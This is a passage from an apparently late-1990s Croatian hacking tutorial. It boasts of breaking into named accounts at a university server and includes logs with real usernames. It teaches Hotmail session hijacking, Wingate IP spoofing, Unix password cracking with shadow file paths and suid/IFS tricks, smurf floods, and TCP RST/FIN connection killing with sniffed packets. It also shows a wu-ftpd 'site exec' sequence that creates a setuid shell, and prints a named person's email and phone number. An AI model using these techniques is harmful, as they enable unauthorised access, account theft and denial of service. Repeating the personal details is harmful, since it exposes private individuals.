localhost as mlazarev Apr 9 21:31:46 jagor.srce.hr in.telnetd[9476]: connect from dakirin@jagor.srce.hr Apr 9 21:31:51 jagor.srce.hr login[9479]: login from jagor.srce.hr as bisakovi Log s flya: Apr 9 21:42:28 fly in.telnetd[6126]: connect from dakirin@jagor.srce.hr Apr 9 21:42:50 fly login[6133]: [6126] -> login from jagor.srce.hr as skala [zex@jagor] [/home/srce/dave/tmp] 1 > more cr Apr 9 20:07:56 jagor.srce.hr in.telnetd[26343]: connect from cryan@localhost Apr 9 20:08:08 jagor.srce.hr login[26346]: 1 LOGIN FAILURE from localhost, irogoz Apr 9 20:09:26 jagor.srce.hr in.telnetd[26566]: connect from cryan@localhost Apr 9 20:09:33 jagor.srce.hr login[26569]: login from localhost as ztonkov Apr 9 20:13:09 jagor.srce.hr in.telnetd[27240]: connect from cryan@localhost Apr 9 20:13:19 jagor.srce.hr login[27243]: login from localhost as irogoz Apr 9 20:41:14 jagor.srce.hr in.telnetd[882]: connect from cryan@localhost Apr 9 20:41:35 jagor.srce.hr login[886]: login from localhost as ngligo Apr 9 20:53:11 jagor.srce.hr in.telnetd[2545]: connect from cryan@localhost Apr 9 20:53:17 jagor.srce.hr login[2548]: login from localhost as cryan Apr 9 23:47:09 jagor.srce.hr in.telnetd[10417]: connect from ztonkov@localhost Apr 9 23:47:20 jagor.srce.hr login[10420]: login from localhost as cryan Apr 9 23:47:53 jagor.srce.hr in.telnetd[10492]: connect from ztonkov@localhost Apr 9 23:48:08 jagor.srce.hr login[10496]: login from localhost as ssegal [zex@jagor] [/home/srce/dave/tmp] 1 > ls badjuju/ pcap/ cr provaljeni dak r.doc dupli report ge sshs kernel.leak wuf/ kmastat.boot wuftpd_2.4.2beta18-1_solaris2.6.pkg missing-packages zakljucani.log [zex@jagor] [/home/srce/dave/tmp] 1 > more sshs nlazic apiljac ioreski hvranesi dfodora algros damarkic fmatesa [zex@jagor] [/home/srce/dave/tmp] 1 > Dakle malo pojasnjenje sto je sto zapravo naredba "more dak" nam je dala izvadak iz sistemskih logova mali popis ljudi na cije je acc-ove usao moj frend (cUTe pozdrav) ali nije znao da je dave on line i da gleda sto cUTe radi. Pa je dave onda zalockao cUTe-ov acc i josh par drugih. E ali to nije sve ima tog josh.... s naredbom "more cr" dobili smo moj log kad je dave uhvatio mene da jelte secem se po jagoru i logiram kao drugi useri pa to se njemu valjda nije svidilo pa je zato sto je bio ljubomoran na mene kako to ja imam toliko acc-ova a on samo jedan zaloko meni mom frendu irogoz-u (ncc kad idesh na srce da ti odlokaju acc?) acc i josh par drugih. A kao sto vidimo u file-u sshs je popis ljudi koji su provaljeni zapravo netko im je uvalio svoj authorized_keys u .ssh dir. Dakle vidimo koliko nasi dragi root-ovi na jagoru paze da njihovi dragi korisnici ne rade probleme. No eto mi dragi korisnici se brinemo da njima ne bude dosadno i da imaju sto raditi kad nerade nista nego kodiraju mp3-eve na jagoru (Alex) ili kad krekaju passwde na fly-u (kreator). 10. URLovi sa exploitima... http://www.genocide2600.com/~tattooman/ http://www.jabukie.com/ArchiveII.html#hack 11. Kako provaliti na Hotmail (owned by M$) Prvo sto moramo znati ako zelimo uci na neciji acc na hotmail-u je njegov login. Dakle to ide nekako ovako ako je mu je e-mail adressa novak@hotmail.com onda mu je login novak (koja logika). Uvijek pazite da upisete pravilan login jer hotmail logira IP ako je login pogresan. I sto onda? onda ovako E sad je vrijeme da pogledamo source code od passwdord stranice na kojoj smo. Pisat ce www.hotmail.com/cgi-bin/password.cgi u URL box-u. E i onda malo pogledajte source cod ove stranice (desni klik pa view source), i potrazite liniju u kojoj pise
Ovo je vrlo vazna linija no prije nego sto nastavimo dalje da objasnimo neshto. Naime ova provala radi samo pod uvjetom da korisnik kojem zelimo uci na acc nije napustio svoj acc na hotmail-u tako da je klikno na gump logout ili exit. Jer poanta je u tome da hotmail nezna jel korisnik jos uvijek logiran na svoj acc ako ovaj nije klikno exit, jer ako je user jednostavno pogledao svoj mail i onda u URL box upisao neku sasvim drugu adresu hotmail josh uvijek misli da je on logiran na sistemu. Dakle ovako Nakon sto se nash novak ulogirao na svoj acc na hotmail-u u URL box-u pisat ce mu http://nekibroj/cgi-bin//start/username/nekibroj I vidi vraga (i na njoj zvoncic) to je isti broj koji smo mi vidjeli ranije u ovom textu u source codu. posto smo dobili taj broj samo trebamo upisati taj broj u URL box, nemozete koristti ga tako da upisete ga u file ->new!!! I nakon sto smo unijeli URL pritisnemo enter i gledamo kako nam hotmail daje full acces. 12. WWW Stranice - Ubojice Dakle evo Vam malo html koda prvi primjer ce neprestano otvarati jedan te isti dosadni prozorcic koji na sebi ima tipku ok i svaki put kad ga ugasite on se ponovo upali i tako beskonacno. html cod ----------------------rezi ovdje------------------------- ----------------------rezi ovdje------------------------- Primjer broj 2 radi sljedece otvara bezbroj puta browser (dok ne ubijemo prvu stranicu ako je to moguce) ----------------------rezi ovdje------------------------- msIE window bomber ----------------------rezi ovdje------------------------- Have phun, safe sex & etc... 13. Spoofanje odnosno laziranje IP-a Kroz Wingate Gore sam Vam objasnio sto je to zapravo wingate i kako radi, dakle mi imamo problem recimo s nekim manijakom koji nas stalno nuka sa nekim icmp nukerom tipa gimp i skida nas sa IRC servera. Dakle ako nemamo nakakv firewall ili nesto slicno posluzit cemo se laziranjem IP-a spojit cemo se preko Wingate servera na irc i taj luser koji nas njuka njukat ce zapravo krivi IP pa ako vec to radi nek mu bude. Dakle kako se spojiti s mIRC-om na wingate server. Prvo treba pronaci Wingate server, za to preporucam alat koji mozete naci na adresi http://members.xoom.com/unax. Nakon downloada alata pocinjemo skeniranje neke domene npr HT-a. unesemo Ip npr 123.12.121.12 =123.12.121. i kliknemo na scan, kad scanner pronade domenu iskocit ce popup box s porukom wingate found. Oke sad imam svoj wingate idemo dalje, spajanje na wingate server ide nekako ovako. 1) Nakon sto smo mIRC-u upisali kao server 123.12.123.44 23 dobit cemo nesto poput ovoga....... ˙ű˙ű˙ýWinGate>NICK ZEX Connecting to host NICK...Host name lookup for 'NICK' failed USER Project-x CREW "PX" "206.94.174.49" MEmber Connecting to host USER project-x crew "ggggg" "206.94.174.49" ...Host name lookup for 'USER project-x crew "ggggg" "206.94.174.49" ' failed 2) Kad smo spojeni na wingate onda tipkamo sljedece da bismo se spojili na server na koji zelimo /quote Nakon sto smo napravili sto gore pise pojavit ce se nesto poput ovoga...... -> Server: - 7 Project-X CreW "ggggg" "206.94.174.49" ...Host name lookup for 'USER Project-X CreW "ggggg" "206.94.174.49" ' failed Connecting to host irc.carnet.hr...Connected ***** NOTE ***** Zadnja dva koraka moramo napraviti brzo inace ce nas wingate disconectati. Cim se uspostavi veza sa serverom 3) Napisite /quote user . 4) Napisite /quote nick Ako smo napravili sve kako treba bit cemo spojeni na server. Napisimo /whois . Ako nisi se uspio spojiti onda FUCK IT UP nema nade za tebe sinko. 14. Razbijanje passwprda na unix masinama. Suprotno uvrijezenom misljenju medu pucanstvom passwordi na unix masinama se nemogu dekriptirati. Nakon ove prve slijedi druga nemogu se dekriptirati ali se mogu pogoditi. Na svakoj masini se nalazi file u kojem je popis loginova i passworda od korisnika. Obicno se taj file nalazi u dirktoriju /etc i file se zove passwd. Svaka linija u tom file-u izgleda otprilike ovako.. homer:r.qyKeckYGmlg:20041:114:Homer Simpson,XXX:/home/homer:/usr/local/bin/tcsh | | | | | | |________Shell koji koristi user | | | | | |_Home dirktorij od usera | | | | | | | | | |_ GECOS informacije | | | |_ Group number | | | | | |_User number | | | |_Korisnikov password enkriptiran DES algoritmom | |_ Login od user User number: 20041 Group Number: 114 Dakle sto nas zanima ovdje je zapravo passwd od usera koje je kao sto smo vec rekli enkriptiran DEs-om. To je zapravo ovo sad mi to moramo probiti da bi dosli do pravog passwd-a. To radimo obicno s programom koji se zove John The Ripper u trenutnku pisanja ovog manuala zadnja verzija je bila 1.6 u inacici za windowse bila je malo nestabilna pa preporucam 1.5 verziju. Ono sto je najbolje kod John The Ripper-a je to sto postoji za skoro sve i jedan OS na ovom svijetu. Od Unixa preko DOS-a i Mac-a do svih inacica Windowsa. I jos je vaznije to sto mozete krekanje uvijek nastaviti pa cak i na drugoj masini na primjer krekali smo neki passwd file na windowsima i zelim krekanje nastaviti na nekom UNIX stroju, vrlo jednostavno samo uzmimo datoteku koja se zove restore i premjestimo je u john dir na drugoj masini zajedno sa passwd file-om koji krekamo i porkenom johna "john -restore". I on nastavi tamo gdje je stao. Kako zapravo john radi?? john uzima neku rijec i kriptira je sa DES algoritmom zatim to sto je dobio usporeduje sa onim sto vec ima u passwd filu ako se to dvoje podudara znaci da je john pogodio passwd. Pogodeni passwordi se nalaze obicno u datoteci john.pot JOHN THE RIPPER 1.6 (I SMOKE CRACK TONIGHT... ) A ovako izgledaju Johnove opcije...... John the Ripper Version 1.6 Copyright (c) 1996-98 by Solar Designer john [OPTIONS] [PASSWORD-FILES] -single "single crack" mode -wordfile:FILE -stdin wordlist mode, read words from FILE or stdin -rules enable rules for wordlist mode -incremental[:MODE] incremental mode [using section MODE] -external:MODE external mode or word filter -stdout[:LENGTH] no cracking, just write words to stdout -restore[:FILE] restore an interrupted session [from FILE] -session:FILE set session file name to FILE -status[:FILE] print status of a session [from FILE] -makechars:FILE make a charset, FILE will be overwritten -show show cracked passwords -test perform a benchmark -users:[-]LOGIN|UID[,..] load this (these) user(s) only -groups:[-]GID[,..] load users of this (these) group(s) only -shells:[-]SHELL[,..] load users with this (these) shell(s) only -salts:[-]COUNT load salts with at least COUNT passwords only -format:NAME force ciphertext format NAME (DES/BSDI/MD5/BF/AFS/LM) -savemem:LEVEL enable memory saving, at LEVEL 1..3 No sto ako password file izgleda ovako..... miro:x:316:10:Miroslav Milinovic:/home/srce/miro:/bin/csh Primjetili ste da umjesto kriptiranog passwd stoji samo "x" to znaci da je u pitanju shadow passwd file. Enkriptirani passwd su spremljeni u poseban file koji samo root moze citati na unix sistemima shadow file se nalazi na sljedecim mjestima... Unix Path Token ----------------------------------------------------------------- AIX 3 /etc/security/passwd ! or /tcb/auth/files// A/UX 3.0s /tcb/files/auth/?/* BSD4.3-Reno /etc/master.passwd * ConvexOS 10 /etc/shadpw * ConvexOS 11 /etc/shadow * DG/UX /etc/tcb/aa/user/ * EP/IX /etc/shadow x HP-UX /.secure/etc/passwd * IRIX 5 /etc/shadow x Linux /etc/shadow * OSF/1 /etc/passwd[.dir|.pag] * SCO Unix #.2.x /tcb/auth/files// SunOS4.1+c2 /etc/security/passwd.adjunct ##username SunOS 5.0 /etc/shadow System V Release 4.0 /etc/shadow x System V Release 4.2 /etc/security/* database Ultrix 4 /etc/auth[.dir|.pag] * UNICOS /etc/udb * Kako cete do shadowa to je doista vasa stvar preporucam neki suid program ili nesto slicno. poput ovoga Suid program ce pokrenuti vas program umjesto /bin/date. To change IFS, use this command: IFS='/';export IFS # Bourne Shell setenv IFS '/' # C Shell export IFS='/' # Korn Shell 2. link the script to -i Create a symbolic link named "-i" to the program. Running "-i" will cause the interpreter shell (/bin/sh) to start up in interactive mode. This only works on suid shell scripts. Example: % ln suid.sh -i % -i # Popis portova tcpmux 1/tcp # TCP port service multiplexer echo 7/tcp echo 7/udp discard 9/tcp sink null discard 9/udp sink null systat 11/tcp users daytime 13/tcp daytime 13/udp netstat 15/tcp qotd 17/tcp quote msp 18/tcp # message send protocol msp 18/udp # message send protocol chargen 19/tcp ttytst source chargen 19/udp ttytst source ftp-data 20/tcp ftp 21/tcp fsp 21/udp fspd ssh 22/tcp # SSH Remote Login Protocol ssh 22/udp # SSH Remote Login Protocol telnet 23/tcp # 24 - private smtp 25/tcp mail # 26 - unassigned time 37/tcp timserver time 37/udp timserver rlp 39/udp resource # resource location nameserver 42/tcp name # IEN 116 whois 43/tcp nicname re-mail-ck 50/tcp # Remote Mail Checking Protocol re-mail-ck 50/udp # Remote Mail Checking Protocol domain 53/tcp nameserver # name-domain server domain 53/udp nameserver mtp 57/tcp # deprecated bootps 67/tcp # BOOTP server bootps 67/udp bootpc 68/tcp # BOOTP client bootpc 68/udp tftp 69/udp gopher 70/tcp # Internet Gopher gopher 70/udp rje 77/tcp netrjs finger 79/tcp www 80/tcp http # WorldWideWeb HTTP www 80/udp # HyperText Transfer Protocol link 87/tcp ttylink kerberos 88/tcp kerberos5 krb5 # Kerberos v5 kerberos 88/udp kerberos5 krb5 # Kerberos v5 supdup 95/tcp # 100 - reserved hostnames 101/tcp hostname # usually from sri-nic iso-tsap 102/tcp tsap # part of ISODE. csnet-ns 105/tcp cso-ns # also used by CSO name server csnet-ns 105/udp cso-ns # unfortunately the poppassd (Eudora) uses a port which has already # been assigned to a different service. We list the poppassd as an # alias here. This should work for programs asking for this service. 3com-tsmux 106/tcp poppassd 3com-tsmux 106/udp poppassd rtelnet 107/tcp # Remote Telnet rtelnet 107/udp pop-2 109/tcp postoffice # POP version 2 pop-2 109/udp pop-3 110/tcp # POP version 3 pop-3 110/udp sunrpc 111/tcp portmapper # RPC 4.0 portmapper TCP sunrpc 111/udp portmapper # RPC 4.0 portmapper UDP auth 113/tcp authentication tap ident sftp 115/tcp uucp-path 117/tcp nntp 119/tcp readnews untp # USENET News Transfer Protocol ntp 123/tcp ntp 123/udp # Network Time Protocol netbios-ns 137/tcp # NETBIOS Name Service netbios-ns 137/udp netbios-dgm 138/tcp # NETBIOS Datagram Service netbios-dgm 138/udp netbios-ssn 139/tcp # NETBIOS session service netbios-ssn 139/udp imap2 143/tcp # Interim Mail Access Proto v2 imap2 143/udp snmp 161/udp # Simple Net Mgmt Proto snmp-trap 162/udp snmptrap # Traps for SNMP cmip-man 163/tcp # ISO mgmt over IP (CMOT) cmip-man 163/udp cmip-agent 164/tcp cmip-agent 164/udp xdmcp 177/tcp # X Display Mgr. Control Proto xdmcp 177/udp nextstep 178/tcp NeXTStep NextStep # NeXTStep window nextstep 178/udp NeXTStep NextStep # server bgp 179/tcp # Border Gateway Proto. bgp 179/udp prospero 191/tcp # Cliff Neuman's Prospero prospero 191/udp irc 194/tcp # Internet Relay Chat irc 194/udp smux 199/tcp # SNMP Unix Multiplexer smux 199/udp at-rtmp 201/tcp # AppleTalk routing at-rtmp 201/udp at-nbp 202/tcp # AppleTalk name binding at-nbp 202/udp at-echo 204/tcp # AppleTalk echo at-echo 204/udp at-zis 206/tcp # AppleTalk zone information at-zis 206/udp qmtp 209/tcp # The Quick Mail Transfer Protocol qmtp 209/udp # The Quick Mail Transfer Protocol z3950 210/tcp wais # NISO Z39.50 database z3950 210/udp wais ipx 213/tcp # IPX ipx 213/udp imap3 220/tcp # Interactive Mail Access imap3 220/udp # Protocol v3 ulistserv 372/tcp # UNIX Listserv ulistserv 372/udp snpp 444/tcp # Simple Network Paging Protocol snpp 444/udp # Simple Network Paging Protocol saft 487/tcp # Simple Asynchronous File Transfer saft 487/udp # Simple Asynchronous File Transfer # # UNIX specific services # exec 512/tcp biff 512/udp comsat login 513/tcp who 513/udp whod shell 514/tcp cmd # no passwords used syslog 514/udp printer 515/tcp spooler # line printer spooler talk 517/udp ntalk 518/udp route 520/udp router routed # RIP timed 525/udp timeserver tempo 526/tcp newdate courier 530/tcp rpc conference 531/tcp chat netnews 532/tcp readnews netwall 533/udp # -for emergency broadcasts uucp 540/tcp uucpd # uucp daemon remotefs 556/tcp rfs_server rfs # Brunhoff remote filesystem klogin 543/tcp # Kerberized `rlogin' (v5) kshell 544/tcp krcmd # Kerberized `rsh' (v5) kerberos-adm 749/tcp # Kerberos `kadmin' (v5) # webster 765/tcp # Network dictionary webster 765/udp # # From ``Assigned Numbers'': # #> The Registered Ports are not controlled by the IANA and on most systems #> can be used by ordinary user processes or programs executed by ordinary #> users. # #> Ports are used in the TCP [45,106] to name the ends of logical #> connections which carry long term conversations. For the purpose of #> providing services to unknown callers, a service contact port is #> defined. This list specifies the port used by the server process as its #> contact port. While the IANA can not control uses of these ports it #> does register or list uses of these ports as a convienence to the #> community. # ingreslock 1524/tcp ingreslock 1524/udp prospero-np 1525/tcp # Prospero non-privileged prospero-np 1525/udp cvspserver 2401/tcp # CVS client/server operations cvspserver 2401/udp # CVS client/server operations rfe 5002/tcp # Radio Free Ethernet rfe 5002/udp # Actually uses UDP only cfengine 5308/tcp # CFengine cfengine 5308/udp # CFengine bbs 7000/tcp # BBS service # # # Kerberos (Project Athena/MIT) services # Note that these are for Kerberos v4, and are unofficial. Sites running # v4 should uncomment these and comment out the v5 entries above. # kerberos4 750/udp kdc # Kerberos (server) udp kerberos4 750/tcp kdc # Kerberos (server) tcp kerberos_master 751/udp # Kerberos authentication kerberos_master 751/tcp # Kerberos authentication passwd_server 752/udp # Kerberos passwd server krb_prop 754/tcp # Kerberos slave propagation krbupdate 760/tcp kreg # Kerberos registration kpasswd 761/tcp kpwd # Kerberos "passwd" kpop 1109/tcp # Pop with Kerberos knetd 2053/tcp # Kerberos de-multiplexor zephyr-srv 2102/udp # Zephyr server zephyr-clt 2103/udp # Zephyr serv-hm connection zephyr-hm 2104/udp # Zephyr hostmanager eklogin 2105/tcp # Kerberos encrypted rlogin # # Unofficial but necessary (for NetBSD) services # supfilesrv 871/tcp # SUP server supfiledbg 1127/tcp # SUP debugging # # Datagram Delivery Protocol services # rtmp 1/ddp # Routing Table Maintenance Protocol nbp 2/ddp # Name Binding Protocol echo 4/ddp # AppleTalk Echo Protocol zip 6/ddp # Zone Information Protocol # # Services added for the Debian GNU/Linux distribution rmtcfg 1236/tcp # Gracilis Packeten remote config server xtel 1313/tcp # french minitel cfinger 2003/tcp # GNU Finger icp 3130/tcp # Internet Cache Protocol (Squid) icp 3130/udp # Internet Cache Protocol (Squid) postgres 4321/tcp # POSTGRES fax 4557/tcp # FAX transmission service (old) hylafax 4559/tcp # HylaFAX client-server protocol (new) ircd 6667/tcp # Internet Relay Chat ircd 6667/udp # Internet Relay Chat webcache 8080/tcp # WWW caching service webcache 8080/udp # WWW caching service mandelspawn 9359/udp mandelbrot # network mandelbrot isdnlog 20011/tcp # isdn logging system isdnlog 20011/udp # isdn logging system vboxd 20012/tcp # voice box system vboxd 20012/udp # voice box system 16. Smurf napadi (Razvali me siroko i njezno.....) Smurf napad je kratko recno napad pomocu ping-a. Ali ne obicno pinganje nego napadac posalje na 100-ak IP adresa ping paket s izmjenjenim headerom paketa tako da on pokazuje kao da je ping poslan s neke druge adrese dakle adrese zrtve. Zvuci komplicirano? Ok ajmo opet dakle vi kad posaljete ping sa svog kompjutera na neki drugi sto se dogodi? drugi komp Vam vrati ping i onda vas komp usporeduje koliko velik paket je vratio drugi komp ako ste vi poslali paket velicine 64 Byt a drugi Vam vratio 32Byt znaci da su gubici u prijenosu 50% i da veza prema drugm kompjuteru nije dobra. Ali ako vi posaljete ping paket od 65000 Byt kompu koji se zove A i stavite u header (pocetak) tog paketa drugu polazisnu IP adresu dakle ne svoju nego recimo adresu od kompa koji se zove C, komp koji se zove A ce poslati kompu koji se zove komp C nazad taj 65000Byt veliki paket, na tom se zasnivaju smurf napadi. Ali to nije sve jer ako vi posaljete taj lazni ping paket na 100-ak drugih ip adresa i svi oni vracaju ping na jedan te isti ip to jest onaj ip koji ste vi naveli u headeru ping paketa, mozete zamisliti sto se dogodi masini kojoj svi oni vracaju pakete..... Slom je blaga rijec za to. Smurf program je prvotno napisan za U*ix kutije odnedavna imate i verziju za WIN kutije koja je nastala u suradnji izmedu aggressor teama i JC'zic-a. Mozete je naci na http:/zex.webjump.com 17. Ovo je vrhunac neznanja nekih root-ova pa pogledajte malo.... Logirali smo se na sistem sa ftp-om: 220 uswest.mil FTP server (Version wu-2.1(1) ready. Name (uswest.mil:zex): zex 331 Password required for zex. Password: §{H÷r#3! 230 User zex logged in. Remote system type is UNIX. Using binary mode to transfer files. ftp> quote "site exec cp /bin/sh /tmp/.tno" 200-cp /bin/sh /tmp/tno ftp> quote "site exec chmod 6755 /tmp/.tno" 200-chmod 6755 /tmp/tno ftp> by 221 Goodbye. Ovime smo upravo dobili suidni shell na mashini. Ah da ako koga zanima onaj kosooki japanac koji je uhvatio Mitnicka moze sa njim popricati na ovoj adresi ili broju telefona Tsutomu Shimomura tsutomu@ucsd.edu +1 619 534 5050 18. IP spoofing, snifanje (ne cUTe ne mislim na ljepak za snifanje...) Eto naime da se dotaknemo i teme laziranje IP adrese i slanja udp paketa kao i "osluskivanja" mreznog prometa (odnosno hvatanja passwd koji putuju mrezom u nezasticenom odnosno nekriptiranom obliku. Kao apsolutno najbolji "osluskivac" mreznog prometa u zadnje vrijeme od kad je ta tehnologija postala znacajno popularnija (IP spoofing se oduvijek smatrao najopasnijim hackerskim alatom, odnosno najopasnijom vrstom napadaja) izdovojio se alat s imenom "sniffit" djelo jednog belgijanca kojeg mozete naci na adresi Brecht Claerhout PoBox 144 9000 Gent 12 Belgium. Njegov uradak je trenutno u verziji 0.3.7 i moze se naci na svim znacajnim hack arhiVama ili na adresi http://reptile.rug.ac.be/~coder/sniffit/sniffit.html. Ono sto posebno izdvaja sniffit od ostalih slicnih produkata je mogucnost vrlo jednostavnog "upadanja" u vec postojecu vezu izmedu klijenta i server-a dakle kad je client se vec spojio na server i identificirao se serveru putem svoje lozinke. Sto u potpunosti razbija popularne metode autentifikacije poput jednokratnih passwda i slicnoga, jer ce napadac pustiti zrtvu da se logira odnosno identificira na masinu t tek nakon toga ukrasti connection, klijentu ce pisati connection closed by foregin host a server nece nista primjetiti. Prvo cemo razjasniti dva pojma koji se cesto srecu u spoofanje dakle sto je to blind i non-blind spoofanje. Non-blind spoofing Koristenje spoofanja da se "uplete" u connection koji salje pakete kroz nas subnet (jedan od dva hosta se nalazi u tvojoj domeni ili svi paketi prolaze kroz nas subnet ili device,... Mozete razmisliti o zaposljavanju kod nekog americkog ISP-a koji ima transatlanske route). Blind spoofing Koristenje spoofinga da se uplete u vezu izmedu dva hosta ili kreira nove veza koja ne salje podatke putem tvog kabla. Dakle svaki connection je definiran s 4 parametra a to su: source host i port, i destination host i port. Kada ti napravis connection, podaci se salju u paketima. Paketi se brinu o niskom nivou prometa, I provjeravaju da podaci doista stizu (ponekad s specijalnim provjeravanjem gresaka). osnova mnogih mreza je IP protocol version 4. on je totalno neovisan od svih hardwerskih protokola. TCP i UDP su high level protokoli umetnuti u IP packete. Svi ovi paketi se sastoje od headera i sadrzaja. IP header sadrzi (uz gomilu drugih stvari): IP od source i odredisnog hosta za taj paket, i naravno tip protokola itd. (TCP=6, UDP=17, etc.). UDP packeti sadrze (uz gomilu drugih stvari): broj porta od source i odredisnog hosta. UDP nema takvih stvari kao sto su SEQ/ACK, u biti je on vrlo slab protokol. TCP packeti sadrze (uz gomilu drugih stvari): broj porta od source i odredisnog hosta, sequence i acknowledge brojeve (dalje u tekstu oznaceno sa SEQ/ACK), i gomilu flagova. SEQ number: broji se byte po byte, i daje na broj sljedeceg byte koji ce biti poslan, ili to je poslano u ovom paketu. ACK number: to je SEQ broj koji se ocekuje od drugog hosta. SEQ numbers se izabere pri inicijalizaciji connectiona. Rekao sam da ce biti kratko... ako niste razumjeli gornji tekst, procitajte ga ponovo iz pocetka, zato jer necete razumjeti sh!t od ostalog. 4. Non-blind spoofing --------------------- 4.1 Znamo sto radimo --------------------------- Koncept non-blind spoofinga (NBS dalje u ovom doc-u) je prilicno jednostavan. Zato sto paketi putuju u nasem dometu, mozemo uhvatiti trenutne sequence i acknowledge (SEQ/ACK nadalje u ovom doc-u) brojeve na connection-u. NBS je stoga vrlo lagana i precizna metoda napada, ali je ogranicena na connectione koji idu kroz nas subnet. U spoofing documentaciji ovi napadi su ponekad promaseni, zato sto su uglavnom 'denial-of-service' napadi, ili zato sto ljudi ne shvacaju pravu prednost spoof-a (prakticiraju hijack) a to je jednostavan password sniffing. Spoofing je generalno oznacen kao vrlo visoki level napada. Ovo se odnosi na blind spoofing (BlS dalje u ovom doc-u), zato jer je NBS kidstuff za competentnog codera. 4.2 SYN flooding (Svi se oce na mene spojiti... przenog li mu ulja) ---------------- Setup: host A <-----][----------X--------------->host B | host S <-----------------/ Concept: Host S salje SYN (connection init) koji je spoofan sa hosta A, hostu B. Host A bi trebao biti unreachable (npr. ugasen, nepostoji,...). B salje nazad drugi packet od 3 way TCP handshake. Host B ce sad cekati odgovor od hosta A. Ako je host A dostupan reci ce hostu B (sa reset: RST) da on NIJE inicirao connection, i da je host B primiio krivi packet. (U ovom slucaju host B ce ignorirati SYN, i *normally* nista se nece dogoditi) ALi ako je A unreachable, B ce cekati odgovor neke vrijeme. Kada radimo multiple napade, resursi od hosta B ce biti potroseni i host B nece primati nove connection-e (Procitaj TCP bugs za za dodatne informacije) neko vrijeme. 4.3 Connection Killing (Killing me softly baby.... Ostav se te bejzbol palice) ---------------------- Setup: host A <------X------------------------->host B | A,B imaju TCP connection host S <------/ A,S u istom subnet-u Koristenje: Ciscenje muddera na nasoj mrezi, ziviciranje nekog morona koji tipka nesto vazno, etc... uglavnom party time. 4.3.1 Koristenje reset-a (RST) ----------------------- Concept: TCP packeti imaju flagove koji indiciraju status packeta, kao npr. RST. Ovaj se flag koristi da se resetira connection. Da bi bio prihvacen samo sequence number mora biti tocan (nema ACK u RST packetu). Mi cemo pricekati packete u connection-u izmedu hostova A i B. Pretpostavimo da cekamo poketekoji idu prema A. Mi cemo izracunati (od B'ovih packeta) sequence number za A'ove packete (od B'ovih ACK's), i ISPALITI lazni RST packet od S (koji u ovom slucaju spoofa host A) na B. An actual attack: (Ovo su pravi sniffani packeti, ali su IP brojevi od hostova promjenjeni) host A : 166.66.66.1 host B : 111.11.11.11 (S je na istom sunetu kao A) (Ovo je dobar primjer kako stvari ne idu uvijek onako kako zelimo, pogledaj nize za rijesenje) 1) connection running... mi cekamo packet da uhvatimo SEQ/ACK (A->B) TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1810-111.11.11.11.23 SEQ (hex): 57E1F2A6 ACK (hex): B8BD7679 FLAGS: -AP--- Window: 3400 (podaci maknuti zato sto su beznacajni, 2 bytes data) 2) Ovo je njegov ACK + sadrzaj (sto uzrokuje SEQ broj da se promjeni, i ovo komplicira nasu schemu, Zato sto dolazi jako BRZOOO ali to nas kao prave hackere nece pokolebati niti u jednom trenutku da tog manijaka skinemo sa veze.) (B->A) TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1810 SEQ (hex): B8BD7679 ACK (hex): 57E1F2A8 FLAGS: -AP--- Window: 2238 (podaci maknuti zato sto su beznacajni, 2 bytes data) 3) ACK !!!. (A->B) TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1810-111.11.11.11.23 SEQ (hex): 57E1F2A8 ACK (hex): B8BD767B FLAGS: -A---- Window: 3400 (podaci maknuti zato sto su beznacajni, 2 bytes data) 4) Buduci podaci (B->A) TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1810 SEQ (hex): B8BD767B ACK (hex): 57E1F2A8 FLAGS: -AP--- Window: 2238 (podaci maknuti zato sto su beznacajni, 2 bytes data) 5) ACK of it (A->B) TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1810-111.11.11.11.23 SEQ (hex): 57E1F2A8 ACK (hex): B8BD7691 FLAGS: -A---- Window: 3400 6) Mi smo dobili 2 RST packeta. Kako objasniti to?? Paaa, prvi reset packet je bio buffered negdje na nasemo systemu, zato jer je ethernet segment bio zauzet kada smo mi zeljeli poslati ga. Ovo je 'unexpected thing' .Stoga smo ubili connecion malo kasnije nego sto smo zeljeli TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1810 SEQ (hex): B8BD7679 FLAGS: ---R-- TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1810 SEQ (hex): B8BD7691 FLAGS: ---R-- (Ovo je paket koji je ubio connection) 4.3.2 Zatvaranje connectiona (FIN) (Nema vishe prodanooooo) -------------------------------- Concept: Ima jedan drugi flag koji se zove FIN i on kaze: "nema vise podataka od posiljaoca". Ovaj flag se koristi kad se zatvara connection na normalan legitiman nacin. Pa ako postoji nacin da se nacini packet koji ce prihvatiti jedan od dva hosta taj host ce vjerovati da 'sender' nema nikakvih podataka vise za poslati. Daljnji (stvarni) packeti ce biti ignorirani i bit ce smatrani bogus paketima. To je to, zato sto mi mozemo snifati SEQ/ACK od connectiona onda se mozemo pretvarati da smo ili host A ili B, i dati drugom hostu ISPRAVNU packetinformaciju, i naravno zlocesti FIN flag. Ljepota u svemu tome je u tome da nnakon sto je FIN poslan drugi host uvijek odgovara sa jednim ako je prihvacen accepted, stoga imamo nacin da utvrdimo jeli kill bio uspjesan, i mozemo biti 100% sigurni u uspjeh (ako smo iz nekog razloga fulali SEQ ili ACK, mozemo ponovo poslati). RST killing jepuno populariniji i preferira se vise, ali ja sam stavio ovo kao primjer, kao primjer kako ja to volim. Stvarni napad: (Ovo su pravi sniffani packeti, ali su IP brojevi od hostova promjenjeni) host A : 166.66.66.1 host B : 111.11.11.11 (S na ostom subnet kao A) 1) connection is running.... sniper je startan na hostu S kao 'sniper-fin 166.66.66.1 23 111.11.11.11 1072' i ceka paket da poduzme akciju (treba nam SEQ/ACK) iznenada paket stize... (A->B) TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072 SEQ (hex): 19C6B98B ACK (hex): 69C5473E FLAGS: -AP--- Window: 3400 Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072 45 E 00 . 00 . 2A * 30 0 5E ^ 40 @ 00 . 40 @ 06 . 5E ^ AD . 9D . C1 . 45 E 33 3 9D . C1 . 2B + 0D . 00 . 17 . 04 . 30 0 19 . C6 . B9 . 8B . 69 i C5 . 47 G 3E > 50 P 18 . 34 4 00 . 3A : 61 a 00 . 00 . 0D . 